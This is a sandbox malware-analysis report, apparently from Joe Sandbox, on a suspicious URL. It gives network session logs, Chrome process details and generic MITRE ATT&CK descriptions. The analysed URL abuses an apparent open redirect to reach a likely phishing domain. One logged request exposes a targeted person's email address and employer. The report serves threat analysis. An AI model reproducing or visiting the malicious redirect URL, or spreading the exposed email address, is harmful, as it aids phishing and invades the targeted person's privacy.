Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49756	35.190.80.1	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:05:04 UTC	550	OUT	OPTIONS /report/v4?s=GkUvoHb%2BHz0chCMowR8BacWgrYZglWOubWLnHHeaDvVFgRmQra1NGx4E0%2FD24XBlLj7vk0kgvIs%2BimbtTMjYHqfZB7qpiPTw7wqDss1imnQmlhk0Iy0cx4Y32TQFWQsd0hSm0%2Bp2 HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://adp.phpmyrealty.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:05:04 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Mon, 28 Apr 2025 07:05:04 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49757	35.190.80.1	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:05:04 UTC	548	OUT	OPTIONS /report/v4?s=DNOkT6E2I4e9wdazhJIqDkIj%2FlwJnBmBt0JMsAnVMW%2Br3hUYrLjRmHxOQWmRVJpOY5KgdcAnrEsQcGgDQQS2S5wsfif8AaqNTnNLJhIZ%2BP9LtFWTASC2MtOaA5euPph3OIRC3QsB HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://adp.phpmyrealty.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:05:05 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Mon, 28 Apr 2025 07:05:04 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49758	23.55.241.136	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:05:04 UTC	441	OUT	OPTIONS /api/report?catId=GW+estsfd+wst HTTP/1.1 Host: identity.nel.measure.office.net Connection: keep-alive Origin: https://login.microsoftonline.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:05:05 UTC	319	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 7 Date: Mon, 28 Apr 2025 07:05:05 GMT Connection: close Access-Control-Allow-Headers: content-type Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: * Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *
2025-04-28 07:05:05 UTC	7	IN	Data Raw: 4f 50 54 49 4f 4e 53 Data Ascii: OPTIONS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49759	35.190.80.1	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:05:05 UTC	525	OUT	POST /report/v4?s=GkUvoHb%2BHz0chCMowR8BacWgrYZglWOubWLnHHeaDvVFgRmQra1NGx4E0%2FD24XBlLj7vk0kgvIs%2BimbtTMjYHqfZB7qpiPTw7wqDss1imnQmlhk0Iy0cx4Y32TQFWQsd0hSm0%2Bp2 HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 454 Content-Type: application/reports+json Origin: https://adp.phpmyrealty.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:05:05 UTC	454	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 39 33 36 34 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 36 33 39 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 32 31 35 2e 32 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 33 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 61 64 70 2e 70 68 70 6d 79 72 65 61 Data Ascii: [{"age":59364,"body":{"elapsed_time":639,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"172.67.215.23","status_code":403,"type":"http.error"},"type":"network-error","url":"https://adp.phpmyrea
2025-04-28 07:05:05 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Mon, 28 Apr 2025 07:05:05 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49760	35.190.80.1	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:05:05 UTC	524	OUT	POST /report/v4?s=DNOkT6E2I4e9wdazhJIqDkIj%2FlwJnBmBt0JMsAnVMW%2Br3hUYrLjRmHxOQWmRVJpOY5KgdcAnrEsQcGgDQQS2S5wsfif8AaqNTnNLJhIZ%2BP9LtFWTASC2MtOaA5euPph3OIRC3QsB HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 1280 Content-Type: application/reports+json Origin: https://adp.phpmyrealty.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:05:05 UTC	1280	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 36 37 38 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 38 35 31 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 37 38 2e 32 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 30 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 61 64 70 2e 70 68 70 6d 79 72 65 61 6c Data Ascii: [{"age":56780,"body":{"elapsed_time":851,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.78.21","status_code":400,"type":"http.error"},"type":"network-error","url":"https://adp.phpmyreal
2025-04-28 07:05:05 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Mon, 28 Apr 2025 07:05:05 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49761	23.55.241.136	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:05:05 UTC	416	OUT	POST /api/report?catId=GW+estsfd+wst HTTP/1.1 Host: identity.nel.measure.office.net Connection: keep-alive Content-Length: 491 Content-Type: application/reports+json Origin: https://login.microsoftonline.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:05:05 UTC	491	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 31 32 37 34 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 39 34 30 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 32 30 2e 31 39 30 2e 31 39 30 2e 31 39 34 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 6d 69 63 72 6f 73 Data Ascii: [{"age":1274,"body":{"elapsed_time":940,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"20.190.190.194","status_code":404,"type":"http.error"},"type":"network-error","url":"https://login.micros
2025-04-28 07:05:05 UTC	399	IN	HTTP/1.1 429 Too Many Requests Content-Length: 0 x-ms-middleware-request-id: 00000000-0000-0000-0000-000000000000 Request-Context: appId=cid-v1:20c536d6-d891-4743-bdc8-f66a2e341114 Date: Mon, 28 Apr 2025 07:05:05 GMT Connection: close Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: * Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49765	20.190.190.194	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:05:11 UTC	834	OUT	GET /jsdisabled/adobe?organisation=daiichi-sankyo.eu&username=stefan.seyfried%40daiichi-sankyo.eu HTTP/1.1 Host: login.microsoftonline.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: x-ms-gateway-slice=estsfd
2025-04-28 07:05:12 UTC	1337	IN	HTTP/1.1 404 Not Found Cache-Control: private Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 5461c491-0479-456a-89a8-8917c2e77400 x-ms-ests-server: 2.1.20602.11 - NCUS ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+wst"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy-Report-Only: object-src 'none'; base-uri 'self'; script-src 'self' 'nonce-u77JGuDfGN47dK56Ryz5WQ' 'unsafe-inline' 'unsafe-eval' https://.msauth.net https://.msftauth.net https://.msftauthimages.net https://.msauthimages.net https://.msidentity.com https://.microsoftonline-p.com https://.microsoftazuread-sso.com https://.azureedge.net https://.outlook.com https://.office.com https://.office365.com https://.microsoft.com https://*.bing.com 'report-sample'; report-uri https://csp.microsoft.com/report/ESTS-UX-All X-XSS-Protection: 0 Date: Mon, 28 Apr 2025 07:05:11 GMT Connection: close Content-Length: 0

Statistics

CPU Usage

• chrome.exe
• chrome.exe
• chrome.exe
• chrome.exe

Click to jump to process

Memory Usage

• chrome.exe
• chrome.exe
• chrome.exe
• chrome.exe

Click to jump to process

Click to jump to process

Target ID:	0
Start time:	03:03:49
Start date:	28/04/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff7c3a90000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	03:03:54
Start date:	28/04/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2036,i,13883632268843516047,3193367493338640729,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2092 /prefetch:3
Imagebase:	0x7ff7c3a90000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	03:03:56
Start date:	28/04/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2036,i,13883632268843516047,3193367493338640729,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3956 /prefetch:8
Imagebase:	0x7ff7c3a90000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	03:04:00
Start date:	28/04/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.01caijing.com/weapons/visit.htm?go=http://adp.phpmyrealty.com/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u"
Imagebase:	0x7ff7c3a90000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://www.01caijing.com/weapons/visit.htm?go=http://adp.phpmyrealty.com/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 46

Chrome Cache Entry: 47

Chrome Cache Entry: 48

Chrome Cache Entry: 49

Chrome Cache Entry: 50

Chrome Cache Entry: 51

Chrome Cache Entry: 52

Static File Info

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

Behavior

System Behavior

Analysis Process: chrome.exePID: 6860, Parent PID: 1008

General

File Activities

File Opened

File Created

Windows Analysis Report
https://www.01caijing.com/weapons/visit.htm?go=http://adp.phpmyrealty.com/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u